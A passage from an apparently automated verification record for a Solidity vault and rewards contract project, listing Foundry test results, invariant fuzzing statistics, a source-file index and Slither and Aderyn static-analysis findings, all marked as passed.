testClaimsRemainAvailableUntilRolloverAndTransferFailureIsAtomic() (gas: 3213549)\n[PASS] testDepositRequestsCanonicalBodyAtActualArbitrumDepositBlock() (gas: 3206835)\n[PASS] testEmptyRootCanRollOver() (gas: 2914059)\n[PASS] testExpiredFutureAndTamperedAttestationsRejected() (gas: 2819288)\n[PASS] testFuzzClaimsAndRolloverConserveFunds(uint128,uint128) (runs: 256, μ: 3068924, ~: 3067372)\nLogs:\n  Bound result 706873905\n  Bound result 2523380\n\n[PASS] testOnlyIntakeUnknownIdAndReplayRejected() (gas: 2797838)\n[PASS] testOnlyVaultCanSetTokenOrCreateEpochsOrSpendFromSelfCall() (gas: 144462)\n[PASS] testOversizedSignedTreeCannotDrainAnotherEpoch() (gas: 4038711)\n[PASS] testRetrySponsorPaysAndOldIdBecomesInvalid() (gas: 3961856)\n[PASS] testRolloverCarryCannotBeSpentByAnOversizedCurrentTree() (gas: 4101932)\n[PASS] testRolloverMovesExactlyUnclaimedAndNextDepositSnapshotsCarry() (gas: 6454998)\n[PASS] testSmallDepositNeverSpendsPreviousEpochReserve() (gas: 2793926)\n[PASS] testSnapshotEntitlementIndependentOfCurrentBalanceAndDoubleClaimFails() (gas: 3168211)\n[PASS] testUnansweredLatestEpochCanRollAndLateCallbackCannotReviveIt() (gas: 2841626)\n[PASS] testWrongChainBlockTypeAndWeakPanelRejected() (gas: 3013906)\n[PASS] testWrongLeafAndProofCannotClaim() (gas: 2837870)\nSuite result: ok. 18 passed; 0 failed; 0 skipped; finished in 126.62ms (192.00ms CPU time)\n\nRan 1 test for test/VaultInvariants.t.sol:VaultInvariantsTest\n[PASS]\nVaultInvariantsTest invariants:\n[PASS] invariantAllIMDRemainsAtAuthorizedDestinations\n[PASS] invariantBuybackNeverExceedsFrozenBudgetOrTenTranches\n[PASS] invariantEpochAccountingIsFullyBacked\n VaultInvariantsTest invariants (runs: 64, calls: 2048, reverts: 0)\n\n╭--------------+----------------+-------+---------+----------╮\n| Contract     | Selector       | Calls | Reverts | Discards |\n+============================================================+\n| VaultHandler | advance        | 350   | 0       | 0        |\n|--------------+----------------+-------+---------+----------|\n| VaultHandler | buyback        | 309   | 0       | 0        |\n|--------------+----------------+-------+---------+----------|\n| VaultHandler | distribute     | 336   | 0       | 0        |\n|--------------+----------------+-------+---------+----------|\n| VaultHandler | requestJob     | 334   | 0       | 0        |\n|--------------+----------------+-------+---------+----------|\n| VaultHandler | rollover       | 365   | 0       | 0        |\n|--------------+----------------+-------+---------+----------|\n| VaultHandler | settleAndClaim | 354   | 0       | 0        |\n╰--------------+----------------+-------+---------+----------╯\n\nLogs:\n  Bound result 1756\n  Bound result 4094\n  Bound result 1\n  Bound result 1\n  Bound result 4287\n  Bound result 2\n  Bound result 2\n  Bound result 2\n  Bound result 242\n  Bound result 2\n  Bound result 2\n  Bound result 72\n  Bound result 1\n  Bound result 9985\n  Bound result 3\n  Bound result 625112\n  Bound result 137095237273775517\n  Bound result 59096\n  Bound result 80000000000000000000\n  Bound result 1395\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 398.66ms (396.52ms CPU time)\n\nRan 9 test suites in 400.23ms (944.06ms CPU time): 51 tests passed, 0 failed, 1 skipped (52 total tests)\n","passed":true},{"durationMs":46,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"CompensationVault.airdrop(address[],uint256[],bytes32[][])\",\"CompensationVault.buyback()\",\"CompensationVault.setLaunch(address,(address,address,uint24,int24,address))\",\"CompensationVault.unlockCallback(bytes)\",\"HolderRewards.claim(uint256,uint256,bytes32[])\",\"HolderRewards.onDeposit(uint256)\",\"HolderRewards.onOracleResult(bytes32,(bytes32,uint256,bytes32,uint8,bytes,uint256,uint64,uint64,bytes32,bytes32,uint16,uint16,uint16,uint64,uint64),bytes)\",\"HolderRewards.requestDepositedEpoch(uint256,uint256)\",\"HolderRewards.retryOracle(uint256)\",\"HolderRewards.rollover(uint256)\",\"HolderRewards.setToken(address)\",\"JobsVault.requestJob(bytes)\",\"JobsVault.setToken(address)\",\"SIMDVault.bindLaunch(uint64,address)\",\"SIMDVault.distribute()\",\"SIMDVault.launch(bytes)\",\"SIMDVault.receive()\"],\"files\":{\".gitignore\":6,\"README.md\":113,\"docs/DEPENDENCIES.md\":15,\"docs/REVIEW.md\":31,\"docs/VERIFICATION.md\":20,\"foundry.toml\":16,\"remappings.txt\":4,\"src/CompensationVault.sol\":187,\"src/HolderRewards.sol\":307,\"src/JobsVault.sol\":48,\"src/Network.sol\":17,\"src/SIMDVault.sol\":128,\"src/VaultChild.sol\":33,\"src/interfaces/IIntake.sol\":17,\"src/interfaces/ILaunchFactory.sol\":12,\"src/oracle/OracleAttestation.sol\":239,\"src/oracle/OracleQuestion.sol\":258,\"test/CompensationVault.t.sol\":217,\"test/Deployment.t.sol\":52,\"test/HolderRewards.t.sol\":324,\"test/JobsVault.t.sol\":101,\"test/OracleConformance.t.sol\":96,\"test/RobinhoodFork.t.sol\":176,\"test/SIMDVault.t.sol\":185,\"test/TestBase.sol\":131,\"test/UniswapV4Integration.t.sol\":97,\"test/VaultInvariants.t.sol\":140,\"test/mocks/Mocks.sol\":258,\"tools/merkle.py\":123,\"tools/test_merkle.py\":36},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true},{"durationMs":7355,"exitCode":0,"name":"slither","output":"[high/medium] reentrancy-balance at src/CompensationVault.sol:82: Reentrancy in CompensationVault.buyback() (src/CompensationVault.sol#82-116):\n[high/medium] reentrancy-balance at src/CompensationVault.sol:82: Reentrancy in CompensationVault.buyback() (src/CompensationVault.sol#82-116):\n[high/medium] reentrancy-balance at src/CompensationVault.sol:82: Reentrancy in CompensationVault.buyback() (src/CompensationVault.sol#82-116):\n[high/medium] reentrancy-balance at src/CompensationVault.sol:82: Reentrancy in CompensationVault.buyback() (src/CompensationVault.sol#82-116):\n[medium/high] incorrect-equality at src/CompensationVault.sol:82: CompensationVault.buyback() (src/CompensationVault.sol#82-116) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/CompensationVault.sol:82: CompensationVault.buyback() (src/CompensationVault.sol#82-116) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/CompensationVault.sol:82: CompensationVault.buyback() (src/CompensationVault.sol#82-116) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/CompensationVault.sol:118: CompensationVault.unlockCallback(bytes) (src/CompensationVault.sol#118-144) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/CompensationVault.sol:82: CompensationVault.buyback() (src/CompensationVault.sol#82-116) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/CompensationVault.sol:146: CompensationVault.airdrop(address[],uint256[],bytes32[][]) (src/CompensationVault.sol#146-175) uses a dangerous strict equality:\n[medium/medium] reentrancy-no-eth at src/HolderRewards.sol:258: Reentrancy in HolderRewards._ask(uint256,uint256) (src/HolderRewards.sol#258-279):\n[medium/medium] reentrancy-no-eth at src/CompensationVault.sol:82: Reentrancy in CompensationVault.buyback() (src/CompensationVault.sol#82-116):\n[medium/medium] uninitialized-local at src/HolderRewards.sol:93: HolderRewards.onDeposit(uint256).carry (src/HolderRewards.sol#93) is a local variable never initialized\n[medium/medium] unused-return at src/SIMDVault.sol:100: SIMDVault.distribute() (src/SIMDVault.sol#100-127) ignores return value by ILaunchFactory(FACTORY).claimFees{gas: CLAIM_GAS_LIMIT}(launchNumber) (src/SIMDVault.sol#104-107)\n[medium/medium] unused-return at src/CompensationVault.sol:65: CompensationVault.setLaunch(address,PoolKey) (src/CompensationVault.sol#65-78) ignores return value by (price,None,None,None) = IPoolManager(Network.POOL_MANAGER).getSlot0(key.toId()) (src/CompensationVault.sol#72)\n[medium/medium] unused-return at src/CompensationVault.sol:82: CompensationVault.buyback() (src/CompensationVault.sol#82-116) ignores return value by IPoolManager(Network.POOL_MANAGER).unlock(abi.encode(spend)) (src/CompensationVault.sol#105)\n[medium/medium] unused-return at src/SIMDVault.sol:87: SIMDVault.bindLaunch(uint64,address) (src/SIMDVault.sol#87-98) ignores return value by (key,None,None,requester) = ILaunchFactory(FACTORY).positionOf(number) (src/SIMDVault.sol#89)\n[low/medium] events-maths at src/JobsVault.sol:27: JobsVault.setToken(address) (src/JobsVault.sol#27-32) should emit an event for: \n[low/medium] missing-zero-check at src/SIMDVault.sol:87: SIMDVault.bindLaunch(uint64,address).token_ (src/SIMDVault.sol#87) lacks a zero-check on :\n[low/medium] reentrancy-benign at src/CompensationVault.sol:82: Reentrancy in CompensationVault.buyback() (src/CompensationVault.sol#82-116):\n[low/medium] reentrancy-benign at src/HolderRewards.sol:258: Reentrancy in HolderRewards._ask(uint256,uint256) (src/HolderRewards.sol#258-279):\n[low/medium] reentrancy-benign at src/SIMDVault.sol:73: Reentrancy in SIMDVault.launch(bytes) (src/SIMDVault.sol#73-85):\n[low/medium] reentrancy-events at src/HolderRewards.sol:258: Reentrancy in HolderRewards._ask(uint256,uint256) (src/HolderRewards.sol#258-279):\n[low/medium] timestamp at src/HolderRewards.sol:181: HolderRewards.rollover(uint256) (src/HolderRewards.sol#181-195) uses timestamp for comparisons\n[low/medium] timestamp at src/SIMDVault.sol:100: SIMDVault.distribute() (src/SIMDVault.sol#100-127) uses timestamp for comparisons\n[low/medium] timestamp at src/oracle/OracleAttestation.sol:164: OracleAttestationConsumer._verifyAttestation(OracleAttestation.Attestation,bytes) (src/oracle/OracleAttestation.sol#164-175) uses timestamp for comparisons\n[low/medium] timestamp at src/JobsVault.sol:34: JobsVault.requestJob(bytes) (src/JobsVault.sol#34-47) uses timestamp for comparisons\n[low/medium] timestamp at src/CompensationVault.sol:82: CompensationVault.buyback() (src/CompensationVault.sol#82-116) uses timestamp for comparisons\n[low/medium] timestamp at src/HolderRewards.sol:123: HolderRewards.retryOracle(uint256) (src/HolderRewards.sol#123-133) uses timestamp for comparisons","passed":true},{"durationMs":693,"exitCode":0,"name":"aderyn","output":"[high] eth-send-unchecked-address at src/SIMDVault.sol:100: ETH transferred without address checks\n[high] reentrancy-state-change at src/CompensationVault.sol:88: Reentrancy: State change after external call (17 places)\n[low] costly-loop at src/CompensationVault.sol:162: Costly operations inside loop\n[low] internal-function-used-once at src/oracle/OracleAttestation.sol:205: Internal Function Used Only Once (2 places)\n[low] large-numeric-literal at src/HolderRewards.sol:26: Large Numeric Literal (7 places)\n[low] literal-instead-of-constant at src/HolderRewards.sol:149: Literal Instead of Constant (23 places)\n[low] non-reentrant-not-first at src/HolderRewards.sol:88: `nonReentrant` is Not the First Modifier (3 places)\n[low] require-revert-in-loop at src/CompensationVault.sol:162: Loop Contains `require`/`revert` (3 places)\n[low] state-change-without-event at src/CompensationVault.sol:118: State Change Without Event\n[low] state-no-address-check at src/SIMDVault.sol:92: Address State Variable Set Without Checks\n[low] unchecked-return at src/CompensationVault.sol:105: Unchecked Return\n[low] uninitialized-local-variable at src/CompensationVault.sol:162: Uninitialized Local Variable (5 places)","passed":true}],"detail":"all checks passed","evaluation":"checks","profile":"foundry","status":"accepted","submissionHash":"664c1470b27445829bf5da086fa6b48447a1d9aea3ee523b9706dcc2de3dab64","verifiedTreeHash":"95c3aaad45a4f68eebd199478eb728b54ae644f7","verifierVersion":"0.1.0+560ab6a2"},{"checks":[{"durationMs":86833,"exitCode":0,"name":"build","output":"Compiling 120 files with Solc 0.8.26\nSolc 0.8.26 finished in 86.72s\nCompiler run successful with warnings:\nWarning (2519): This declaration shadows an existing declaration.\n   --> src/CompensationVault.sol:135:10:\n    |\n135 |         (uint256 paid,) = abi.decode(result, (uint256, uint256));\n    |          ^^^^^^^^^^^^\nNote: The shadowed declaration is here:\n  --> src/CompensationVault.sol:56:5:\n   |\n56 |     mapping(address => bool) public paid;\n   |     ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n\nWarning (2519): This declaration shadows an existing declaration.\n   --> src/CompensationVault.sol:190:9:\n    |\n190 |         uint256 paid = uint256(-int256(inputDelta));\n    |         ^^^^^^^^^^^^\nNote: The shadowed declaration is here:\n  --> src/CompensationVault.sol:56:5:\n   |\n56 |     mapping(address => bool) public paid;\n   |     ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n\n","passed":true},{"durationMs":5070,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 4 tests for test/OracleConformance.t.sol:OracleConformanceTest\n[PASS] testCallbackSelectorMatchesCanonicalFifteenFieldTuple() (gas: 3673)\n[PASS] testDigestMatchesPublishedProtocolVector() (gas: 13253)\n[PASS] testPublishedProtocolSignatureVerifiesInActualConsumerBase() (gas: 75505)\n[PASS] testQuestionHashMatchesPublishedProtocolVector() (gas: 40115)\nSuite result: ok. 4 passed; 0 failed; 0 skipped; finished in 990.45µs (702.63µs CPU time)\n\nRan 1 test for test/RobinhoodFork.t.sol:RobinhoodForkTest\n[SKIP: skipped] setUp() (gas: 0)\nSuite result: ok. 0 passed; 0 failed; 1 skipped; finished in 984.00µs (0.00ns CPU time)\n\nRan 1 test for test/Deployment.t.sol:DeploymentTest\n[PASS] testFactoryCreate2DeploymentOnEmptyChainLinksAllChildrenAndHasNoOwners() (gas: 29919278)\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 40.55ms (40.41ms CPU time)\n\nRan 7 tests for test/JobsVault.t.sol:JobsVaultTest\n[PASS] testExactThresholdAndPerWalletDailyBoundary() (gas: 1207458)\n[PASS] testInvalidBodyAndUnsoldActionRejected() (gas: 663610)\n[PASS] testNoVaultWideCapStarvesAnEligibleHolder() (gas: 6122748)\n[PASS] testNoVaultWideSelectorsExist() (gas: 370363)\n[PASS] testNotConfiguredAndSetTokenOnlyVaultOnce() (gas: 384635)\n[PASS] testRejectedRequestsDontConsumeDailySlotAndReentryFails() (gas: 1228169)\n[PASS] testSixDecimalsThreshold() (gas: 1235008)\nSuite result: ok. 7 passed; 0 failed; 0 skipped; finished in 55.90ms (4.75ms CPU time)\n\nRan 7 tests for test/UniswapV4Integration.t.sol:UniswapV4IntegrationTest\n[PASS] testRealV4BandEdgeFrontRunCannotEndOrDelayTheBuyback() (gas: 6047342)\n[PASS] testRealV4InBandSandwichDoesNotRatchetTheReference() (gas: 9118904)\n[PASS] testRealV4PushedPriceMovesReferenceOneStepPerIntervalAndFillsNothing() (gas: 4435693)\n[PASS] testRealV4ThinPoolPartialFillsAreNotTranchesAndOnlyTheWindowEndsBuyback() (gas: 59720398)\n[PASS] testRealV4UnlockSettlementTenSwapsTokenAsCurrencyOne() (gas: 4279190)\n[PASS] testRealV4UnlockSettlementTenSwapsTokenAsCurrencyZero() (gas: 4269679)\n[PASS] testUninitializedPoolCannotBind() (gas: 229538)\nSuite result: ok. 7 passed; 0 failed; 0 skipped; finished in 72.99ms (71.51ms CPU time)\n\nRan 10 tests for test/CompensationVault.t.sol:CompensationVaultTest\n[PASS] testAirdropBlockedBeforeBuybackAndBadProductionProofSkips() (gas: 285160)\n[PASS] testAirdropPaysListedAccountsOnceProRataUsingFixedBalance() (gas: 2547385)\n[PASS] testEmptyBalanceDoesNotConsumeEligibilityAndBadWeightsSkip() (gas: 2277665)\n[PASS] testFixedCommitmentAndNoMutationOrWithdrawEntrypoints() (gas: 141099)\n[PASS] testFrozenBudgetIgnoresDonationsAndLeavesOnlyOriginalRoundingDust() (gas: 1792312)\n[PASS] testFuzzTranchesNeverExceedTenPercent(uint96) (runs: 256, μ: 1913585, ~: 1914093)\nLogs:\n  Bound result 4992\n\n[PASS] testPartialOrRevertedSwapRollsBackBudgetAndCooldown() (gas: 984414)\n[PASS] testThirtyMinuteBoundaryTenPercentAndTenMinuteSpacing() (gas: 2080158)\n[PASS] testUnlockCallbackAuthenticatedAndReentryCannotSpendTwice() (gas: 559876)\n[PASS] testZeroOrSubTenWeiBudgetWaitsForFeeThenCompletesAfterWindow() (gas: 241149)\nSuite result: ok. 10 passed; 0 failed; 0 skipped; finished in 214.26ms (214.60ms CPU time)\n\nRan 6 tests for test/CompensationPriceBand.t.sol:CompensationPriceBandTest\n[PASS] testFuzzAnyFrontRunNeverPushesTrancheOutsideEarlierBand(uint96,bool) (runs: 200, μ: 545770, ~: 522874)\nLogs:\n  Bound result 15\n\n[PASS] testFuzzBandEdgeStopNeverOverspendsOrMovesReference(uint16) (runs: 200, μ: 539930, ~: 544116)\nLogs:\n  Bound result 183\n\n[PASS] testLargePushWalksReferenceOneStepPerInterval() (gas: 845468)\n[PASS] testPricePushedInSameTransactionOnlyRecordsReferenceAndSpendsNothing() (gas: 452432)\n[PASS] testReferenceIsRecordedAtBindingAndBandIsSymmetric() (gas: 28895)\n[PASS] testTrancheAfterReRecordTradesOnlyInsideNewBand() (gas: 613046)\nSuite result: ok. 6 passed; 0 failed; 0 skipped; finished in 248.24ms (300.33ms CPU time)\n\nRan 1 test for test/JobsStateful.t.sol:JobsPerWalletRuleTest\n[PASS] testFuzzHoppedBagNeverStarvesAnEligibleHolder(uint8,uint8) (runs: 256, μ: 4065923, ~: 3011064)\nLogs:\n  Bound result 1\n  Bound result 0\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 334.62ms (332.05ms CPU time)\n\nRan 7 tests for test/AdversarialLifecycle.t.sol:AdversarialOracleLifecycleTest\n[PASS] testAttestationUUIDCannotSettleTwoEpochsEvenWithTwoValidSignatures() (gas: 4339385)\n[PASS] testClaimsRejectAbsentAndUnansweredEpochsWithoutMarkingClaimed() (gas: 2935178)\n[PASS] testDeferredEpochCanBeSponsoredWithoutTouchingOtherReserves() (gas: 4555420)\n[PASS] testFuzzSignedButInvalidOracleFieldsNeverConsumePending(uint8) (runs: 1000, μ: 2917448, ~: 2916512)\nLogs:\n  Bound result 0\n\n[PASS] testOutOfOrderRolloversAndCarryOnlyEpochsPreserveEveryUnclaimedWei() (gas: 7843455)\n[PASS] testRetryFailurePreservesOriginalRequestAndSponsorFunds() (gas: 3863443)\n[PASS] testRetryUsesNewPriceButPreservesDepositBlockBudgetAndQuestion() (gas: 4147655)\nSuite result: ok. 7 passed; 0 failed; 0 skipped; finished in 334.87ms (386.24ms CPU time)\n\nRan 2 tests for test/AdversarialLifecycle.t.sol:AdversarialJobsTest\n[PASS] testFuzzDecimalsThresholdOneUnitBelowAndExactlyEnough(uint8) (runs: 1000, μ: 1322148, ~: 1322120)\nLogs:\n  Bound result 2\n\n[PASS] testHoldingIsRecheckedAfterCooldownAndFailureDoesNotExtendIt() (gas: 1034851)\nSuite result: ok. 2 passed; 0 failed; 0 skipped; finished in 335.75ms (333.92ms CPU time)\n\nRan 7 tests for test/AdversarialLifecycle.t.sol:AdversarialLaunchAndDistributionTest\n[PASS] testBurnFailureRevertsClaimSplitEpochAndCooldownTogether() (gas: 6804164)\n[PASS] testFuzzUnauthorizedLaunchAndBindingLeaveAllStateUntouched(address,uint64) (runs: 1000, μ: 199530, ~: 199525)\n[PASS] testLateChildConfigurationFailureRollsBackEarlierChildrenAndCanRetry() (gas: 1354783)\n[PASS] testLaunchBodyBoundsDoNotConsumeOneTimePermission() (gas: 3102806)\n[PASS] testMaximumUintBalanceSplitsWithoutIntermediateOverflow() (gas: 3057560)\n[PASS] testRejectedNativeRecipientKeepsEthUntilAcceptingWeek() (gas: 3406444)\n[PASS] testRoundingDustParticipatesInFollowingWeek() (gas: 1060458)\nSuite result: ok. 7 passed; 0 failed; 0 skipped; finished in 335.75ms (338.69ms CPU time)\n\nRan 8 tests for test/CompensationFailures.t.sol:CompensationFailuresTest\n[PASS] testAirdropTransferReentryCannotPayAnotherBatch() (gas: 2875171)\n[PASS] testFuzzDuplicateEntriesAndRepeatedBatchesNeverOverpay(uint96,bool) (runs: 1000, μ: 2431026, ~: 2433378)\nLogs:\n  Bound result 1148595863835729965491228\n\n[PASS] testFuzzProductionRootRejectsUnprovenClaims(address,uint128) (runs: 1000, μ: 553487, ~: 553423)\nLogs:\n  Bound result 5563259200155307529\n\n[PASS] testLaterTrancheRejectionRetainsOriginalBudgetAndCanRetryImmediately() (gas: 1147133)\n[PASS] testMalformedBatchCannotFreezeAirdropBalance() (gas: 2496693)\n[PASS] testOutputTransferRejectionDoesNotConsumeFirstBuyback() (gas: 1099075)\n[PASS] testSecondRecipientRejectionRevertsFirstPaymentAndAllFlags() (gas: 3477400)\n[PASS] testUnrepresentableV4DeltaRevertsBeforeAnyAssetMoves() (gas: 528492)\nSuite result: ok. 8 passed; 0 failed; 0 skipped; finished in 335.93ms (618.17ms CPU time)\n\nRan 12 tests for test/SIMDVault.t.sol:SIMDVaultTest\n[PASS] testBindOnlyDevOnceAndValidatesRequesterTokenAndPool() (gas: 920837)\n[PASS] testBoundLaunchCannotBeReopenedByALateFailure() (gas: 733625)\n[PASS] testFuzzSplitConservesFundsAndDust(uint128) (runs: 256, μ: 1754384, ~: 804452)\n[PASS] testGasExhaustingFactoryAndOracleDoNotPreventSplitAndBurn() (gas: 4868535)\n[PASS] testLaunchOnlyDevOnlyOnceExactApprovalVaultPayer() (gas: 558337)\n[PASS] testNoAdminOrRequesterTransferOrArbitraryWithdrawal() (gas: 126245)\n[PASS] testReentrantFactoryAndIMDTransfersCannotDoubleDistribute() (gas: 3098677)\n[PASS] testRefusedLaunchReopensTheOneTimeCallAndOnlyIntakeForTheOwnRequest() (gas: 977243)\n[PASS] testRejectedClaimAndOracleCannotBlockDistributionOrBurn() (gas: 1686780)\n[PASS] testRejectedLaunchCanRetryAndUnsoldCannotLaunch() (gas: 825544)\n[PASS] testRejectingMarketingCodeKeepsEthWithoutBlockingSplitOrBurn() (gas: 3043056)\n[PASS] testSplitBurnFactoryNativePayoutAndWeekBoundary() (gas: 3532009)\nSuite result: ok. 12 passed; 0 failed; 0 skipped; finished in 336.07ms (239.70ms CPU time)\n\nRan 19 tests for test/HolderRewards.t.sol:HolderRewardsTest\n[PASS] testAggregateClaimsCannotExceedPot() (gas: 2937961)\n[PASS] testAnotherEpochAnswerCannotBePairedWithRequest() (gas: 3838272)\n[PASS] testCarryFundedEpochPaysItsOwnOracleRequest() (gas: 4453164)\n[PASS] testClaimsRemainAvailableUntilRolloverAndTransferFailureIsAtomic() (gas: 3218360)\n[PASS] testDepositRequestsCanonicalBodyAtActualArbitrumDepositBlock() (gas: 3211392)\n[PASS] testEmptyRootCanRollOver() (gas: 2918870)\n[PASS] testExpiredFutureAndTamperedAttestationsRejected() (gas: 2824268)\n[PASS] testFuzzClaimsAndRolloverConserveFunds(uint128,uint128) (runs: 256, μ: 3076175, ~: 3073764)\nLogs:\n  Bound result 62960376726\n  Bound result 15576039939\n\n[PASS] testOnlyIntakeUnknownIdAndReplayRejected() (gas: 2802547)\n[PASS] testOnlyVaultCanSetTokenOrCreateEpochsOrSpendFromSelfCall() (gas: 144484)\n[PASS] testOversizedSignedTreeCannotDrainAnotherEpoch() (gas: 4048086)\n[PASS] testRetrySponsorPaysAndEarlierRequestStillAnswersExactlyOnce() (gas: 4306652)\n[PASS] testRolloverCarryCannotBeSpentByAnOversizedCurrentTree() (gas: 4111307)\n[PASS] testRolloverMovesExactlyUnclaimedAndNextDepositSnapshotsCarry() (gas: 6469407)\n[PASS] testSmallDepositNeverSpendsPreviousEpochReserve() (gas: 2798580)\n[PASS] testSnapshotEntitlementIndependentOfCurrentBalanceAndDoubleClaimFails() (gas: 3173022)\n[PASS] testUnansweredLatestEpochCanRollAndLateCallbackCannotReviveIt() (gas: 2846204)\n[PASS] testWrongChainBlockTypeAndWeakPanelRejected() (gas: 3019157)\n[PASS] testWrongLeafAndProofCannotClaim() (gas: 2842681)\nSuite result: ok. 19 passed; 0 failed; 0 skipped; finished in 336.03ms (356.80ms CPU time)\n\nRan 4 tests for test/MigrationClaims.t.sol:MigrationClaimsTest\n[PASS] testAll62HistoricalProofsReproduceTheProductionCommitment() (gas: 460377)\n[PASS] testAllRealBeneficiariesPaidAfterTenTranchesAcrossBatches() (gas: 7346924)\n[PASS] testCorruptedRealProofsSkipWithoutConsumingEligibility() (gas: 5745539)\n[PASS] testFuzzAll62PayoutsConserveSupplyRegardlessOfOrder(uint96,uint8) (runs: 1000, μ: 5407661, ~: 5578460)\nLogs:\n  Bound result 451\n\nSuite result: ok. 4 passed; 0 failed; 0 skipped; finished in 336.30ms (341.40ms CPU time)\n\nRan 1 test for test/JobsStateful.t.sol:JobsStatefulTest\n[PASS] invariantJobBudgetPaysOnlySuccessfulEligibleRequests() (runs: 256, calls: 16384, reverts: 0)\n\n╭------------------+-----------------------+-------+---------+----------╮\n| Contract         | Selector              | Calls | Reverts | Discards |\n+=======================================================================+\n| JobBudgetHandler | advance               | 3245  | 0       | 0        |\n|------------------+-----------------------+-------+---------+----------|\n| JobBudgetHandler | fund                  | 3261  | 0       | 0        |\n|------------------+-----------------------+-------+---------+----------|\n| JobBudgetHandler | request               | 3278  | 0       | 0        |\n|------------------+-----------------------+-------+---------+----------|\n| JobBudgetHandler | setIntakeAvailability | 3314  | 0       | 0        |\n|------------------+-----------------------+-------+---------+----------|\n| JobBudgetHandler | transferHolding       | 3286  | 0       | 0        |\n╰------------------+-----------------------+-------+---------+----------╯\n\nLogs:\n  Bound result 5000000000000000000\n  Bound result 2829\n  Bound result 27794\n  Bound result 3562\n  Bound result 11779\n  Bound result 6850\n  Bound result 55\n  Bound result 8142808472088643436\n  Bound result 1056\n  Bound result 5998\n  Bound result 2976\n  Bound result 1007\n  Bound result 8336\n  Bound result 22\n  Bound result 3075\n  Bound result 9781\n  Bound result 10828\n  Bound result 467\n  Bound result 272383820\n  Bound result 865\n  Bound result 7997\n  Bound result 8073\n  Bound result 3\n  Bound result 15\n  Bound result 6578\n  Bound result 2559896971204282100\n  Bound result 6003\n  Bound result 10159\n  Bound result 95847\n  Bound result 136063138127\n  Bound result 162514264337591994963707\n  Bound result 9819\n  Bound result 142088196246489649897264\n  Bound result 3231\n  Bound result 601128535710556828648294\n  Bound result 4312\n  Bound result 10543\n  Bound result 6133\n  Bound result 11663\n  Bound result 2027\n  Bound result 507\n  Bound result 10149\n  Bound result 187592671\n  Bound result 1506\n  Bound result 41\n  Bound result 816556948285906101\n  Bound result 13459\n  Bound result 171238\n  Bound result 20480\n  Bound result 1982\n  Bound result 2365\n  Bound result 71\n  Bound result 13864\n  Bound result 7526417\n  Bound result 1153\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.45s (2.45s CPU time)\n\nRan 1 test for test/CompensationStateful.t.sol:CompensationStatefulTest\n[PASS] invariantBuybackAndAirdropConserveBothAssets() (runs: 256, calls: 16384, reverts: 0)\n\n╭-----------------------------+------------+-------+---------+----------╮\n| Contract                    | Selector   | Calls | Reverts | Discards |\n+=======================================================================+\n| CompensationSequenceHandler | advance    | 3251  | 0       | 0        |\n|-----------------------------+------------+-------+---------+----------|\n| CompensationSequenceHandler | airdrop    | 3252  | 0       | 0        |\n|-----------------------------+------------+-------+---------+----------|\n| CompensationSequenceHandler | buyback    | 3314  | 0       | 0        |\n|-----------------------------+------------+-------+---------+----------|\n| CompensationSequenceHandler | fundIMD    | 3218  | 0       | 0        |\n|-----------------------------+------------+-------+---------+----------|\n| CompensationSequenceHandler | fundTokens | 3349  | 0       | 0        |\n╰-----------------------------+------------+-------+---------+----------╯\n\nLogs:\n  Bound result 1000000000000000000000\n  Bound result 500000000000000000000\n  Bound result 12171\n  Bound result 6712\n  Bound result 942946994\n  Bound result 522623146\n  Bound result 1184\n  Bound result 96\n  Bound result 176\n  Bound result 846\n  Bound result 9028\n  Bound result 670\n  Bound result 51\n  Bound result 12\n  Bound result 125\n  Bound result 8\n  Bound result 2835717307\n  Bound result 11\n  Bound result 468\n  Bound result 868\n  Bound result 471\n  Bound result 2065\n  Bound result 920\n  Bound result 4\n  Bound result 162514264337593543871105\n  Bound result 3983517\n  Bound result 743848210655127415586764\n  Bound result 1908\n  Bound result 337\n  Bound result 1206\n  Bound result 566\n  Bound result 30779\n  Bound result 120341927437498614430591\n  Bound result 243\n  Bound result 1276\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 3.27s (3.26s CPU time)\n\nRan 1 test for test/VaultInvariants.t.sol:VaultInvariantsTest\n[PASS]\nVaultInvariantsTest invariants:\n[PASS] invariantAllIMDRemainsAtAuthorizedDestinations\n[PASS] invariantBuybackNeverExceedsFrozenBudgetOrTenTranches\n[PASS] invariantEpochAccountingIsFullyBacked\n[PASS] invariantNativeAndLaunchTokensRemainAtAuthorizedDestinations\n VaultInvariantsTest invariants (runs: 256, calls: 16384, reverts: 0)\n\n╭--------------+---------------------+-------+---------+----------╮\n| Contract     | Selector            | Calls | Reverts | Discards |\n+=================================================================+\n| VaultHandler | advance             | 2021  | 0       | 0        |\n|--------------+---------------------+-------+---------+----------|\n| VaultHandler | attemptDistribution | 2038  | 0       | 0        |\n|--------------+---------------------+-------+---------+----------|\n| VaultHandler | buyback             | 2055  | 0       | 0        |\n|--------------+---------------------+-------+---------+----------|\n| VaultHandler | distribute          | 2054  | 0       | 0        |\n|--------------+---------------------+-------+---------+----------|\n| VaultHandler | receiveFees         | 2047  | 0       | 0        |\n|--------------+---------------------+-------+---------+----------|\n| VaultHandler | requestJob          | 2080  | 0       | 0        |\n|--------------+---------------------+-------+---------+----------|\n| VaultHandler | rollover            | 1999  | 0       | 0        |\n|--------------+---------------------+-------+---------+----------|\n| VaultHandler | settleAndClaim      | 2090  | 0       | 0        |\n╰--------------+---------------------+-------+---------+----------╯\n\nLogs:\n  Bound result 535482\n  Bound result 5759\n  Bound result 5479106530010097259350487\n  Bound result 7478\n  Bound result 5040\n  Bound result 61\n  Bound result 1\n  Bound result 1971584624323891647329593\n  Bound result 1\n  Bound result 11578\n  Bound result 29806416288089\n  Bound result 1693\n  Bound result 45\n  Bound result 1\n  